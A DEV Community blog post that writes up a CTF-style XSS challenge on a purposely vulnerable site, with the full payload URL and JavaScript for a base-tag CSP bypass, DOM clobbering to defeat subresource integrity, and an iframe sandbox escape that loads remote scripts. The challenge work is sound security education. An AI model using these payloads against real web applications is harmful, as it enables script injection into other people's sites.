DEV Community

Cover image for wacky
pirateducky
pirateducky

Posted on • Edited on

wacky

Objectives:

  1. You must alert(origin) showing https://wacky.buggywebsite.com
  2. You must bypass CSP
  3. It must be reproducible using the latest version of Chrome
  4. You must provide a working proof-of-concept on bugpoc.com

Summary:

Bypassed access restrictions to /frame.html which allowed me to inject and render html, bypassed csp using the <base> element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe's sandbox to execute alert(origin) which was not possible due to the sandbox attribute given to the iframe we end up in.

Thank you for the challenge - hope everyone likes this writeup, there is a visualization for the exploits you can check out after reading this.

Exploit

bucpoc exploit: jGQnU5oH (works on latest Chrome version)

bugpoc password: SociAlcRAne15

This is the bugpoc.com payload:

<!-- Front-End BugPoC -->

<html>
    <!-- TODO implement -->
  <h1>NOTHING TO SEE HERE</h1>
</html>

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E", "iframe")
</script>
Enter fullscreen mode Exit fullscreen mode

Alt Text

Technical Details

The following sections will walk through the technical details on each part of the challenge. Enjoy

Initial foothold

The challenge is at https://wacky.buggywebsite.com/ which loads an application that gets user input and turns it into "wacky text". This is implemented by loading an iframe from /frame.html which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which "protects" it from being loaded directly from the browser:

Alt Text

Back in / we can see the html source and see the iframe being loaded correctly

...
<div class="round-div">
    <span style="opacity:.5">Enter Boring Text:</span>
    <br>
    <textarea id="txt">Hello, World!</textarea>
    <div style="text-align: center;">
    <button id="btn">Make Whacky!</button>
    </div>
    <br>
    <iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
</div>
...
Enter fullscreen mode Exit fullscreen mode

The access control is implemented in the script loaded inside /frame.html . The code below shows the "verification" that determines if the iframe we are interested in can be loaded

// this checks the window name before dynamically generating the iframe we need
if (window.name == 'iframe') {

    // securely load the frame analytics code
    // this just need to eval to true (the actual value doesn't matter)
    if (fileIntegrity.value) {

    // create a sandboxed iframe
    analyticsFrame = document.createElement('iframe');
    analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
    analyticsFrame.setAttribute('class', 'invisible');
    document.body.appendChild(analyticsFrame);

}
Enter fullscreen mode Exit fullscreen mode

The script checks the window.name to see if it's called iframe and if it is - it continues execution, if the name does not match the iframe does not get created. This is interesting, since the window.name can be set when opening a window from an arbitrary domain using window.open("https://evilwebsite.com", "nameforwindow") , with this we should be able to open the frame.html

<html>
<!-- put this in a server you control -->
<body>
<!-- this will open the site given it the window.name='iframe' that we need -->
<script>window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")</script>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Alt Text

Now that we have access to this file we can pass it what we want using the query string param=somethig. This is good for us since our input is going directly into the page, if you check where the input is being reflected you'll notice you can close the <title> tag using: /frame.html?param=</title> now everything after that will be valid html and we can continue to try to get our alert.

CSP

Even though html is injectable, all interesting elements get blocked because of the CSP

I use https://csp-evaluator.withgoogle.com to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)

content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';

Alt Text

The one that stuck out was base-uri [missing] when looking at MDN we can see the following:

  • base-uri directive restricts the URLs which can be used in a document's element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the element

Now let's look at the MDN page for the element:

  • Links pointing to a fragment in the document — e.g. <a href="#some-id"> — are resolved with the <base>, triggering an HTTP request to the base URL with the fragment attached. For example:
  • Given <base href="https://example.com">
  • ...and this link: <a href="#anchor">Anker</a>
  • ...the link points to https://example.com/#anchor

Let's go back to the /frame.html?parameter=</title> and look for something interesting in the rendered html

Alt Text

This iframe caught my eye because it gets built dynamically by:

<script nonce="jllvokubhfmz">

        window.fileIntegrity = window.fileIntegrity || {
            'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
            'algorithm' : 'sha256',
            'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
            'creationtime' : 1602687229
        }

        // verify we are in an iframe
        if (window.name == 'iframe') {

            // securely load the frame analytics code
            if (fileIntegrity.value) {

                // create a sandboxed iframe
                analyticsFrame = document.createElement('iframe');
                analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
                analyticsFrame.setAttribute('class', 'invisible');
                document.body.appendChild(analyticsFrame);

                // securely add the analytics code into iframe
                script = document.createElement('script');
                script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
                script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
                script.setAttribute('crossorigin', 'anonymous');
                analyticsFrame.contentDocument.body.appendChild(script);

            }

        } else {
            document.body.innerHTML = `
            <h1>Error</h1>
            <h2>This page can only be viewed from an iframe.</h2>
            <video width="400" controls>
                <source src="movie.mp4" type="video/mp4">
            </video>`
        }

    </script>
Enter fullscreen mode Exit fullscreen mode

The code above shows how the iframe and script are built, the one that's interesting is script.setAttribute('src', 'files/analytics/js/frame-analytics.js'); which sets the src attribute, this path is relative, and how do relative paths determine where to resolve? base-uri which can be set by adding a <base href='https://evildomain.com> element:

  • payload: https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://evildomain.com">

This will allow us to include a file from an arbitrary domain we control - since after we inject our <base> element the file will actually be fetched from https://evildomain.com/files/analytics/js/frame-analytics.js giving us a way to inject arbitrary javascript.

Integrity - nah

Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this - the request will fail, this is because of the integrity attribute that's added in this line script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);

Alt Text

Before we go into how to get around that, let's see what this integrity thing is, from the RFC provided by the source script

  • An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element

This is what's happening here - the script that is being loaded doesn't pass the integrity check and fails to load, so this is where I was stuck for a while.

The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn't valid base64 as the integrity value, we also have to make sure we return the ACAO header with * to fulfill the requirements from the RFC

Alt Text

Alt Text

This allows us to get our script to load and execute.

Heard you like backwards compatibility?

This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error.

I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.

The error we get after clobbering the fileIntegrity(more on this later) object is a bit different, if you don't clobber the fileIntegrity object you get this error when trying to load the resource from your server:

"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."

Which blocks our source from being loaded.

But after you clobber the fileIntegrity object, the error simply says:

Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."

And our script still loads:
Screen Shot 2020-11-11 at 8.15.36 AM

That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: SubresourceIntegrity.cpp

Screen Shot 2020-11-07 at 3.54.43 PM

The browser couldn't parse the hash value because it's not valid base64, by looking at which if statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it's clear that the
reason why this happens is for backwards compatibility:

code from chromium source, it explains how the if statement that gives us the parsing error works.

Here is a resource being blocked due to an integrity check:
Screen Shot 2020-11-11 at 8.20.20 AM

Now how do we generate this parsing error?

Thanks https://twitter.com/acut3hack for the nudge for this next part.

DOM Clobbering

Let's do a recap of what has brought us here.

  • We can load an iframe that takes in user input un-sanitized /frame.html?param=dirtydata
    • achieved by using window.open("domain", "windowname")
  • There is a csp in place
    • csp can be bypassed by injecting <base href=https://evildomain.com> with our current injection
    • The <base> element sets the domain for assets that come from relative paths()
  • The script that is being dynamically built is now being loaded from https://evildomain.com/files/analytics/js/frame-analytics.js
    • This means we can control what's inside frame-analytics.js
  • The file is being prevented from executing because of the integrity check 😢
    • The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
      • Currently the hash is stored in a global object fileIntegrity.value

The first interesting thing to notice is how the integrity attribute is being generated:

window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
...

script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
...
Enter fullscreen mode Exit fullscreen mode

The value for the integrity attribute is stored in the fileIntegrity.value object which can be accessed globally. The browser works in mysterious ways...because we can use the html injection we currently have to "clobber" the value and replace with something we can control. 🤯

Because of how the browser treats elements with id attributes, we can "clobber" the fileIntegrity object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need

Alt Text

We can cause this almost mystical attack by using the following payload

/frame.html?param=</title><base href="https://evildomain.com"><a id=fileIntegrity><a id=fileIntegrity name=value href=quack>

That will allow us to completely reset the global object fileIntegrity and set the arbitrary value we need fileIntegrity.value so it can cause the parsing error, and the file we have hosted on https://evildomain.com/files/analytics/js/frame-analytics.js will actually get loaded and it will execute in our context.

Alt Text

iframe

I went for it here - I hosted the file and used alert(1) and when I went to execute....nothing.

Alt Text

Turns out the sandbox attribute that was added to the parent iframe prevents us from using any prompts like alert prompt etc by using this value "allow-scripts allow-same-origin" it will only allow us to execute scripts 😭

On to MDN we go again to find the following:

Alt Text

This is interesting - it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior.

My first idea was to remove the attribute itself from the parent iframe by using the script we currently control, that means that the contents of my frame-analytics.js would have to:

  1. Find the iframe that we are interested in
  2. Remove sandbox attribute by using Element.removeAttribute(attributeName)
  3. Pop my alert and be on my way right?

In short - no, it's not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it's values the browser will still complain that we aren't being safe and will fallback to that same sandbox and after some google-fu I stumbled onto this beautiful blogpost https://danieldusek.com/escaping-improperly-sandboxed-iframes.html which goes into more detail into what's going on. Since we can run js let's completely remove the "safe" iframe and replace it with a much nicer, trusting one. We'll also use the same trick to get a parsing error for the script we are going to use which will contain our final alert

// find the iframe with the sandbox
var og = parent.document.getElementsByTagName('iframe')[0];
// create a nicer iframe :yay
var hack = document.createElement('iframe');
// append out nicer iframe to the body
parent.document.body.append(hack);
// remove the mean iframe
og.parentNode.removeChild(og)

// create a script tag
script = document.createElement('script');
// I used bugpocs mock endpoint & flexible redirector to also load this
// it only contais alert(origin)
script.setAttribute('src', 'https://gfeku9odpbh4.redir.bugpoc.ninja');
// integrity parser error so our script loads
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
// cors settings
script.setAttribute('crossorigin', 'anonymous');
// add the script which will pop our alert 
hack.contentDocument.body.appendChild(script);

Enter fullscreen mode Exit fullscreen mode

This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.

Alt Text

BugPoc

Initially this was made using aws, but when solving it, I got this:

Alt Text

And it made me want to do it, so here I'll explain how I achieved this.

Using bugpoc's mock endpoint I created an endpoint that would load the initial script needed:

https://mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e
&statusCode=200&headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}
&body=
var og = parent.document.getElementsByTagName('iframe')[0];
var hack = document.createElement('iframe');

parent.document.body.append(hack);
og.parentNode.removeChild(og)

script = document.createElement('script');
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
script.setAttribute('crossorigin', 'anonymous');
hack.contentDocument.body.appendChild(script);
Enter fullscreen mode Exit fullscreen mode

Then I used the Flexible Redirector to create a redirect that would load this when it got hit from:

https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js

The next step is generating the script that will load the alert(origin) that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it's hash we can load a script with the alert we need.

Create another endpoint like this

https://mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&statusCode=200&
headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}&
body=alert(origin)
Enter fullscreen mode Exit fullscreen mode

And create a flexible redirect to this that will load the script:

script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');

Tying all that together you can then create a PoC and add the payload:

bucpoc exploit: jGQnU5oH (works on latest Chrome version)

bugpoc password: SociAlcRAne15

Alt Text

That creates a PoC entirely using bugpoc.com which is honestly pretty cool.

Thanks for the challenge!

Resources

https://google.com

https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/

https://danieldusek.com/escaping-improperly-sandboxed-iframes.html

https://report-uri.com/home/sri_hash

https://portswigger.net/research/dom-clobbering-strikes-back

https://developer.mozilla.org

https://csp-evaluator.withgoogle.com/

https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94!

Top comments (0)